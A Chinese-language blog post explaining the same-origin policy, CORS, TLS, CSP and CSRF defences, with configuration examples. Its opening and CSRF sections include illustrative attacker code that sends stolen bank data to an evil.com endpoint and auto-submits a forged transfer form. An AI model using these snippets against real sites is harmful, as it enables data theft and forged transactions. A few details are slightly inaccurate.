在开发 Web 应用时,我经常遇到这样的报错:Access to fetch at 'https://api.example.com' from origin 'http://localhost:3000' has been blocked by CORS policy。
为什么浏览器要"阻止"我的请求?为什么本地开发时能访问,部署后就不行了?
随着对 Web 安全的深入了解,我逐渐理解:这些"限制"不是浏览器在为难开发者,而是在保护用户。这篇文章是我对浏览器安全机制的学习总结,重点关注同源策略、CORS 跨域、HTTPS 加密,以及它们背后的设计哲学。
问题的起源
Web 最初的设计是开放的:任何网页可以访问任何资源。但这种完全开放带来了严重的安全问题。想象一下,如果没有任何限制:
javascript
// 恶意网站 evil.com 的代码
// 如果没有同源策略,这段代码可以:
// 1. 读取用户在 bank.com 的 Cookie
const userToken = document.cookie;
// 2. 向 bank.com 发送请求(携带用户的登录状态)
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({
to: 'attacker-account',
amount: 10000
})
});
// 3. 读取其他网站的内容
const iframe = document.createElement('iframe');
iframe.src = 'https://mail.com';
document.body.appendChild(iframe);
// 然后读取 iframe 里的邮件内容
这就是为什么需要同源策略(Same-Origin Policy):默认隔离,只在必要时开放。
核心概念探索
1. 同源策略:安全的基石
什么是"源"(Origin)?
源由三部分组成:协议(protocol)+ 域名(domain)+ 端口(port)
javascript
// 环境:浏览器
// 场景:判断是否同源
const url1 = 'https://example.com:443/page1';
const url2 = 'https://example.com:443/page2';
// 同源:协议、域名、端口都相同
const url3 = 'http://example.com:80/page';
// 不同源:协议不同(https vs http)
const url4 = 'https://api.example.com:443/data';
// 不同源:域名不同(example.com vs api.example.com)
const url5 = 'https://example.com:8080/page';
// 不同源:端口不同(443 vs 8080)
同源策略限制了什么?
javascript
// 1. Cookie、LocalStorage、IndexedDB 的访问
// 不同源的页面无法读取彼此的存储数据
// 当前页面:https://example.com
localStorage.setItem('token', 'abc123');
// 另一个页面:https://evil.com
// 无法访问 example.com 的 localStorage
console.log(localStorage.getItem('token')); // null
// 2. DOM 访问
// 不同源的页面无法操作彼此的 DOM
// 页面 A:https://example.com
const iframe = document.createElement('iframe');
iframe.src = 'https://other.com';
document.body.appendChild(iframe);
// 尝试访问 iframe 的内容
iframe.onload = () => {
// ❌ 报错:Blocked by CORS policy
const iframeDoc = iframe.contentDocument;
};
// 3. AJAX 请求
// 默认情况下,不同源的 AJAX 请求会被阻止
// 当前页面:http://localhost:3000
fetch('https://api.example.com/data')
.then(response => response.json())
.catch(error => {
// ❌ 报错:CORS policy
console.error(error);
});
为什么需要同源策略?
没有同源策略的世界:
javascript
// 场景:用户同时打开了 bank.com 和 evil.com
// 用户在 bank.com 登录,浏览器存储了 Cookie
// evil.com 的恶意代码:
// 1. 创建隐藏的 iframe,加载 bank.com
const iframe = document.createElement('iframe');
iframe.src = 'https://bank.com/account';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// 2. 读取 iframe 中的账户信息(如果没有同源策略)
iframe.onload = () => {
const accountInfo = iframe.contentDocument.querySelector('.balance').textContent;
// 3. 将信息发送给攻击者
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ info: accountInfo })
});
};
// 同源策略阻止了第 2 步:evil.com 无法读取 bank.com 的 DOM
2. CORS:受控的跨域访问
CORS(Cross-Origin Resource Sharing)是一种机制,允许服务器声明哪些源可以访问其资源。
简单请求(Simple Request)
满足以下条件的请求是简单请求:
javascript
// 条件 1:使用以下方法之一
// GET, HEAD, POST
// 条件 2:只使用以下请求头
// Accept, Accept-Language, Content-Language, Content-Type
// 条件 3:Content-Type 只能是以下之一
// application/x-www-form-urlencoded
// multipart/form-data
// text/plain
// 示例:简单请求
fetch('https://api.example.com/data', {
method: 'GET',
headers: {
'Accept': 'application/json'
}
});
// 浏览器发送的请求:
// GET /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000 ← 浏览器自动添加
// Accept: application/json
// 服务器响应:
// HTTP/1.1 200 OK
// Access-Control-Allow-Origin: http://localhost:3000 ← 允许该源访问
// Content-Type: application/json
关键响应头:
javascript
# 1. Access-Control-Allow-Origin(必需)
# 指定允许访问的源
Access-Control-Allow-Origin: http://localhost:3000
# 或者允许所有源(不推荐,存在安全风险)
Access-Control-Allow-Origin: *
# 2. Access-Control-Allow-Credentials
# 是否允许携带 Cookie
Access-Control-Allow-Credentials: true
# 注意:如果设置为 true,Access-Control-Allow-Origin 不能是 *
# 3. Access-Control-Expose-Headers
# 允许 JavaScript 访问的响应头
Access-Control-Expose-Headers: X-Custom-Header, Content-Length
预检请求(Preflight Request)
不满足简单请求条件的,浏览器会先发送一个 OPTIONS 请求进行"预检"。
javascript
// 环境:浏览器
// 场景:触发预检请求
// 这个请求会触发预检(使用了自定义请求头)
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Custom-Header': 'value' // ← 自定义请求头
},
body: JSON.stringify({ key: 'value' })
});
// 浏览器实际发送两个请求:
// 1. 预检请求(OPTIONS)
// OPTIONS /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000
// Access-Control-Request-Method: POST ← 实际请求的方法
// Access-Control-Request-Headers: content-type, x-custom-header ← 实际请求的头
// 2. 服务器响应预检
// HTTP/1.1 204 No Content
// Access-Control-Allow-Origin: http://localhost:3000
// Access-Control-Allow-Methods: GET, POST, PUT, DELETE
// Access-Control-Allow-Headers: content-type, x-custom-header
// Access-Control-Max-Age: 86400 ← 预检结果缓存时间(秒)
// 3. 如果预检通过,浏览器发送实际请求
// POST /data HTTP/1.1
// Host: api.example.com
// Origin: http://localhost:3000
// Content-Type: application/json
// X-Custom-Header: value
什么时候会触发预检?
javascript
// 触发预检的情况:
// 1. 使用了非简单请求的方法
fetch(url, { method: 'PUT' });
fetch(url, { method: 'DELETE' });
// 2. 使用了自定义请求头
fetch(url, {
headers: {
'X-Custom-Header': 'value',
'Authorization': 'Bearer token'
}
});
// 3. Content-Type 不是简单类型
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json' // ← 触发预检
},
body: JSON.stringify(data)
});
// 不触发预检的情况:
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded' // ← 简单类型
},
body: 'key=value'
});
Cookie 跨域
javascript
// 默认情况下,跨域请求不携带 Cookie
// ❌ 不会携带 Cookie
fetch('https://api.example.com/data');
// ✅ 携带 Cookie(需要服务端配合)
fetch('https://api.example.com/data', {
credentials: 'include' // ← 携带 Cookie
});
// 服务端必须设置:
// Access-Control-Allow-Credentials: true
// Access-Control-Allow-Origin: http://localhost:3000(不能是 *)
// Cookie 本身也需要设置:
// Set-Cookie: token=abc123; SameSite=None; Secure
// - SameSite=None:允许跨站发送
// - Secure:只在 HTTPS 下发送
3. HTTPS/TLS:加密的必要性
HTTP 是明文传输,容易被窃听和篡改。HTTPS 通过 TLS/SSL 协议加密通信。
HTTP vs HTTPS
HTTP(明文传输): 用户 → 网络 → 服务器
问题:
- 窃听:中间人可以看到所有数据(用户名、密码、聊天内容)
- 篡改:中间人可以修改数据(注入广告、修改转账金额)
- 冒充:中间人可以伪装成服务器(钓鱼网站)
HTTPS(加密传输): 用户 → [加密] → 网络 → [加密] → 服务器
优点:
- 加密:数据被加密,中间人无法读取
- 完整性:数据无法被篡改(篡改后校验失败)
- 认证:服务器身份可验证(通过证书)
TLS 握手(简化版)
HTTPS 连接建立过程:
-
客户端发起连接
-> Client Hello:
- 支持的 TLS 版本
- 支持的加密算法列表
- 随机数 Client Random
-
服务器响应
-> Server Hello:
- 选择的 TLS 版本
- 选择的加密算法
- 随机数 Server Random
- 服务器证书(包含公钥)
-
客户端验证证书
- 检查证书是否由受信任的 CA 签发
- 检查证书是否过期
- 检查证书域名是否匹配
-
生成会话密钥
- 客户端生成 Pre-Master Secret
- 用服务器公钥加密 Pre-Master Secret 发送给服务器
- 服务器用私钥解密得到 Pre-Master Secret
- 双方用 Client Random + Server Random + Pre-Master Secret 生成会话密钥
-
开始加密通信 -> 后续所有数据用会话密钥(对称加密)加密
为什么先用非对称加密,再用对称加密?
-
非对称加密(RSA):
- 优点:安全(公钥加密,私钥解密)
- 缺点:慢(比对称加密慢 100-1000 倍)
-
对称加密(AES):
- 优点:快
- 缺点:密钥传输不安全
-
TLS 的解决方案 → 兼顾安全和性能
- 用非对称加密传输对称密钥(安全但慢,只做一次)
- 用对称加密传输实际数据(快,多次)
证书的作用
Q:如何确保公钥是服务器的,而不是中间人的?
A: 解决方案:证书(Certificate)
-
证书由 CA(证书颁发机构)签发,包含:
- 服务器的公钥
- 服务器的域名
- 证书有效期
- CA 的数字签名
-
验证过程:
-
如果验证通过 → 可信任该公钥
-
如果验证失败 → 浏览器显示警告
- 浏览器收到证书
- 用 CA 的公钥(浏览器内置)验证证书签名
- 检查证书域名是否匹配
- 检查证书是否过期
- 检查证书是否被吊销
-
4. 其他安全机制
CSP(Content Security Policy)
html
<!-- 环境:HTML / HTTP 响应头 -->
<!-- 场景:防止 XSS 攻击 -->
<!-- 方式 1:HTTP 响应头 -->
<!-- Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com -->
<!-- 方式 2:<meta> 标签 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted.com">
<!-- CSP 指令:
- default-src: 默认策略
- script-src: 脚本来源
- style-src: 样式来源
- img-src: 图片来源
- connect-src: AJAX/WebSocket 来源
- font-src: 字体来源
-->
<!-- 示例:严格的 CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-r4nd0m';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com">
<!-- 'nonce-r4nd0m' 的用法 -->
<script nonce="r4nd0m">
// 只有带正确 nonce 的脚本才能执行
console.log('This script is allowed');
</script>
<script>
// ❌ 没有 nonce,被 CSP 阻止
console.log('This script is blocked');
</script>
CSRF(Cross-Site Request Forgery)防护
html
// CSRF 攻击原理:
// 1. 用户登录 bank.com,浏览器存储了 Cookie
// 2. 用户访问 evil.com
// 3. evil.com 的页面包含:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker-account">
<input name="amount" value="10000">
</form>
<script>
document.forms[0].submit();
</script>
// 4. 浏览器自动携带 bank.com 的 Cookie 发送请求
// 5. bank.com 认为这是合法请求(有 Cookie),执行转账
// 防护方式 1:SameSite Cookie
// Set-Cookie: session=abc123; SameSite=Strict
// - Strict: 完全禁止跨站发送
// - Lax: 允许 GET 跨站,禁止 POST 跨站
// - None: 允许跨站(需配合 Secure)
// 防护方式 2:CSRF Token
// 1. 服务器生成随机 token,放在表单中
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="r4nd0m_t0k3n">
<input name="amount">
<button type="submit">Submit</button>
</form>
// 2. 服务器验证 token
// 由于 evil.com 无法读取 bank.com 的 DOM(同源策略),
// 无法获取 token,攻击失败
// 防护方式 3:验证 Referer/Origin 请求头
// 服务器检查请求来源是否是自己的域名
if (request.headers.origin !== 'https://bank.com') {
return '403 Forbidden';
}
实际场景思考
场景 1:开发环境跨域解决方案
javascript
// 环境:React / Vue 开发环境
// 场景:本地开发时解决跨域
// 问题:
// 前端:http://localhost:3000
// 后端:https://api.example.com
// → 不同源,CORS 错误
// 解决方案 1:Webpack DevServer 代理(推荐)
// webpack.config.js 或 vite.config.js
module.exports = {
devServer: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true, // 修改请求头的 Origin
pathRewrite: {
'^/api': '' // 去掉 /api 前缀
}
}
}
}
};
// 前端代码:
fetch('/api/data') // 实际请求 https://api.example.com/data
// 原理:
// 浏览器 → DevServer(同源,无 CORS 问题)
// DevServer → 后端服务器(服务端请求,无 CORS 限制)
// 解决方案 2:后端临时开启 CORS(仅开发环境)
// Node.js Express
const cors = require('cors');
app.use(cors({
origin: 'http://localhost:3000',
credentials: true
}));
// 解决方案 3:浏览器禁用安全检查(不推荐,仅测试用)
// Chrome 启动参数:
// --disable-web-security --user-data-dir=/tmp/chrome
场景 2:生产环境 CORS 配置
javascript
// 环境:Node.js / Nginx
// 场景:生产环境正确配置 CORS
// 方案 1:Node.js (Express)
const express = require('express');
const app = express();
// 手动设置 CORS 头
app.use((req, res, next) => {
const allowedOrigins = [
'https://example.com',
'https://www.example.com',
'https://app.example.com'
];
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Max-Age', '86400'); // 24 小时
// 处理预检请求
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
});
// 或使用 cors 中间件
const cors = require('cors');
app.use(cors({
origin: function (origin, callback) {
const allowedOrigins = [
'https://example.com',
'https://www.example.com'
];
if (!origin || allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
maxAge: 86400
}));
javascript
# 方案 2:Nginx 配置
server {
listen 443 ssl;
server_name api.example.com;
# CORS 配置
location /api {
# 简单配置(允许所有源,不推荐)
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
# 处理预检请求
if ($request_method = OPTIONS) {
return 204;
}
proxy_pass http://backend:8080;
}
# 更安全的配置(动态设置 Origin)
location /api/secure {
set $cors_origin "";
if ($http_origin ~* (https://example.com|https://app.example.com)) {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
if ($request_method = OPTIONS) {
return 204;
}
proxy_pass http://backend:8080;
}
}
场景 3:第三方登录集成(OAuth)
javascript
// 环境:浏览器 / 前端应用
// 场景:集成 Google 登录
// OAuth 跨域流程:
// 1. 用户点击"使用 Google 登录"
function loginWithGoogle() {
const clientId = 'your-client-id';
const redirectUri = encodeURIComponent('https://yourapp.com/callback');
const scope = encodeURIComponent('openid profile email');
// 跳转到 Google 授权页(非跨域请求,是页面跳转)
window.location.href =
`https://accounts.google.com/o/oauth2/v2/auth?` +
`client_id=${clientId}&` +
`redirect_uri=${redirectUri}&` +
`response_type=code&` +
`scope=${scope}`;
}
// 2. 用户在 Google 页面授权后,Google 重定向回你的应用
// https://yourapp.com/callback?code=AUTH_CODE
// 3. 前端拿到 code,发送给自己的后端
async function handleCallback() {
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
// 发送给自己的后端(同源请求,无 CORS 问题)
const response = await fetch('/api/auth/google', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code })
});
const { token } = await response.json();
localStorage.setItem('token', token);
}
// 4. 后端用 code 换取 access_token(服务端请求,无 CORS 限制)
// Node.js 后端
app.post('/api/auth/google', async (req, res) => {
const { code } = req.body;
// 向 Google 服务器请求 token
const tokenResponse = await fetch('https://oauth2.googleapis.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
code,
client_id: 'your-client-id',
client_secret: 'your-client-secret',
redirect_uri: 'https://yourapp.com/callback',
grant_type: 'authorization_code'
})
});
const { access_token } = await tokenResponse.json();
// 用 access_token 获取用户信息
const userResponse = await fetch('https://www.googleapis.com/oauth2/v2/userinfo', {
headers: { Authorization: `Bearer ${access_token}` }
});
const userInfo = await userResponse.json();
// 生成自己的 JWT token
const token = generateJWT(userInfo);
res.json({ token });
});
// 关键点:
// 1. 前端跳转到 Google(页面跳转,不是 AJAX)
// 2. Google 重定向回前端(携带 code)
// 3. 前端发送 code 给自己的后端(同源)
// 4. 后端与 Google 通信(服务端请求,无 CORS)
场景 4:JSONP(传统跨域方案)
javascript
// JSONP(JSON with Padding)是 CORS 出现前的跨域方案
// 原理:<script> 标签不受同源策略限制
// 环境:浏览器
// 场景:获取跨域数据(仅适用于 GET 请求)
// 前端代码
function jsonp(url, callback) {
// 生成随机回调函数名
const callbackName = 'jsonp_callback_' + Math.random().toString(36).substr(2);
// 创建 script 标签
const script = document.createElement('script');
script.src = `${url}?callback=${callbackName}`;
// 定义全局回调函数
window[callbackName] = function(data) {
callback(data);
// 清理
document.body.removeChild(script);
delete window[callbackName];
};
document.body.appendChild(script);
}
// 使用
jsonp('https://api.example.com/data', (data) => {
console.log(data);
});
// 服务器返回(不是 JSON,是 JavaScript 代码)
// jsonp_callback_xxx({ name: 'John', age: 30 })
// 浏览器执行这段代码,调用回调函数
// JSONP 的问题:
// 1. 只支持 GET 请求
// 2. 无法处理错误(404, 500)
// 3. 安全性差(容易被 XSS 攻击)
// 4. 现代应用应该使用 CORS
场景 5:postMessage 跨窗口通信
javascript
// 环境:浏览器
// 场景:不同源的窗口/iframe 通信
// 页面 A (https://example.com)
const iframe = document.createElement('iframe');
iframe.src = 'https://other.com/page.html';
document.body.appendChild(iframe);
iframe.onload = () => {
// 向 iframe 发送消息
iframe.contentWindow.postMessage({
type: 'greeting',
message: 'Hello from example.com'
}, 'https://other.com'); // 指定目标源
};
// 接收来自 iframe 的消息
window.addEventListener('message', (event) => {
// 验证消息来源
if (event.origin !== 'https://other.com') {
return;
}
console.log('Received:', event.data);
});
// 页面 B (https://other.com/page.html)
// 接收来自父窗口的消息
window.addEventListener('message', (event) => {
// 验证消息来源
if (event.origin !== 'https://example.com') {
return;
}
console.log('Received from parent:', event.data);
// 回复消息
event.source.postMessage({
type: 'response',
message: 'Hello back!'
}, event.origin);
});
// 安全注意事项:
// 1. 始终验证 event.origin
// 2. 指定明确的目标源,不要用 *
// 3. 验证消息内容
知识点快速回顾
(30 秒版本)
Q: 什么是同源策略?
A: 同源策略是浏览器的安全机制,限制不同源的页面互相访问。源由协议、域名、端口三部分组成,全部相同才是同源。它限制了 Cookie/LocalStorage 访问、DOM 访问、AJAX 请求,防止恶意网站窃取用户数据。
Q: 什么是 CORS?简单请求和预检请求的区别?
A: CORS 是跨域资源共享机制,允许服务器声明哪些源可以访问其资源。简单请求(GET/POST + 简单请求头)直接发送,服务器通过 Access-Control-Allow-Origin 响应。预检请求(非简单请求)会先发送 OPTIONS 请求询问服务器是否允许,通过后才发送实际请求。
Q: HTTPS 如何保证安全?
A: HTTPS 通过 TLS/SSL 协议实现:1) 加密:数据加密传输,防止窃听;2) 完整性:防止数据被篡改;3) 认证:通过证书验证服务器身份。使用非对称加密(RSA)交换密钥,对称加密(AES)传输数据,兼顾安全和性能。
(2 分钟版本)
Q: 开发环境如何解决跨域问题?
A: 常见方案:
- Webpack DevServer 代理(推荐):配置 proxy,请求发到本地开发服务器,再转发到后端
- 后端临时开启 CORS :开发环境设置
Access-Control-Allow-Origin: * - 浏览器禁用安全检查:仅测试用,不推荐
生产环境必须正确配置 CORS,不能用代理或禁用安全检查。
Q: 什么情况会触发 CORS 预检请求?
A: 触发条件:
- 使用 PUT、DELETE、PATCH 等方法
- 使用自定义请求头(如 Authorization、X-Custom-Header)
- Content-Type 不是 application/x-www-form-urlencoded、multipart/form-data、text/plain
简单请求不触发预检,直接发送。
Q: Cookie 如何跨域携带?
A: 需要同时满足:
- 前端:
fetch(url, { credentials: 'include' }) - 后端:
Access-Control-Allow-Credentials: true - 后端:
Access-Control-Allow-Origin不能是*,必须是具体源 - Cookie:
SameSite=None; Secure(允许跨站且仅 HTTPS)
Q: TLS 握手的过程?
A: 简化流程:
- 客户端发送 Client Hello(支持的加密算法、随机数)
- 服务器发送 Server Hello(选择的算法、随机数、证书)
- 客户端验证证书
- 客户端生成 Pre-Master Secret,用服务器公钥加密发送
- 双方用三个随机数生成会话密钥
- 后续通信用会话密钥加密
为什么要三个随机数?增加密钥的随机性,提高安全性。
Q: 如何防止 CSRF 攻击?
A: 常见方案:
- SameSite Cookie :
SameSite=Strict或SameSite=Lax,禁止跨站发送 Cookie - CSRF Token:服务器生成随机 token 放在表单中,提交时验证
- 验证 Origin/Referer:检查请求来源是否是自己的域名
- 双重 Cookie 验证:Cookie 中的 token 与请求参数中的 token 对比
推荐使用 SameSite Cookie + CSRF Token 组合。
有关浏览器跨域的高频关键概念
面试时,回答中尽量涵盖这些关键词:
- 同源策略(Same-Origin Policy)
- CORS(Cross-Origin Resource Sharing)
- 简单请求 / 预检请求(Preflight Request)
- Access-Control-Allow-Origin
- Access-Control-Allow-Credentials
- HTTPS / TLS / SSL
- 非对称加密 / 对称加密
- 证书 / CA(证书颁发机构)
- CSRF / XSS
- SameSite Cookie
- CSP(Content Security Policy)
容易踩的坑
- CORS 配置
Access-Control-Allow-Origin: *时设置credentials: true:这两者冲突,浏览器会报错 - 混淆 CORS 是前端问题还是后端问题:CORS 必须由后端配置,前端无法绕过
- 以为 JSONP 很安全:JSONP 容易被 XSS 攻击,且只支持 GET,现代应用应使用 CORS
- 忽略预检请求的开销 :频繁的预检请求影响性能,应设置合理的
Access-Control-Max-Age - HTTPS 页面加载 HTTP 资源:会被浏览器阻止(Mixed Content),所有资源应使用 HTTPS
安全最佳实践
-
使用 HTTPS
- ✓ 配置 HSTS
- ✓ 使用有效证书
- ✓ 避免 Mixed Content
-
正确配置 CORS
- ✓ 指定具体的 Origin,不用 *
- ✓ 谨慎开启 credentials
- ✓ 设置合理的 Max-Age
-
Cookie 安全
- ✓ 使用 HttpOnly(防止 XSS 读取)
- ✓ 使用 Secure(仅 HTTPS)
- ✓ 使用 SameSite(防止 CSRF)
-
防御 XSS
- ✓ 配置 CSP
- ✓ 转义用户输入
- ✓ 使用 DOMPurify 清理 HTML
-
防御 CSRF
- ✓ SameSite Cookie
- ✓ CSRF Token
- ✓ 验证 Origin/Referer
小结
Web 安全机制看似限制了开发的自由度,实际上是在保护用户的隐私和安全。理解同源策略的设计初衷、CORS 的工作原理、HTTPS 的加密过程,能帮助我们既满足功能需求,又确保应用安全。
这篇文章主要探讨了:
- 同源策略:浏览器安全的基石
- CORS:受控的跨域访问
- HTTPS/TLS:加密通信的原理
- 其他安全机制:CSP、CSRF 防护、SRI
参考资料
- Same-origin policy - MDN - 同源策略详解
- CORS - MDN - CORS 官方文档
- HTTPS - web.dev - 为什么需要 HTTPS
- Transport Layer Security - Wikipedia - TLS 协议详解
- Content Security Policy - MDN - CSP 文档
- Cross-Site Request Forgery Prevention Cheat Sheet - OWASP - CSRF 防护指南
- SameSite cookies - web.dev - SameSite Cookie 详解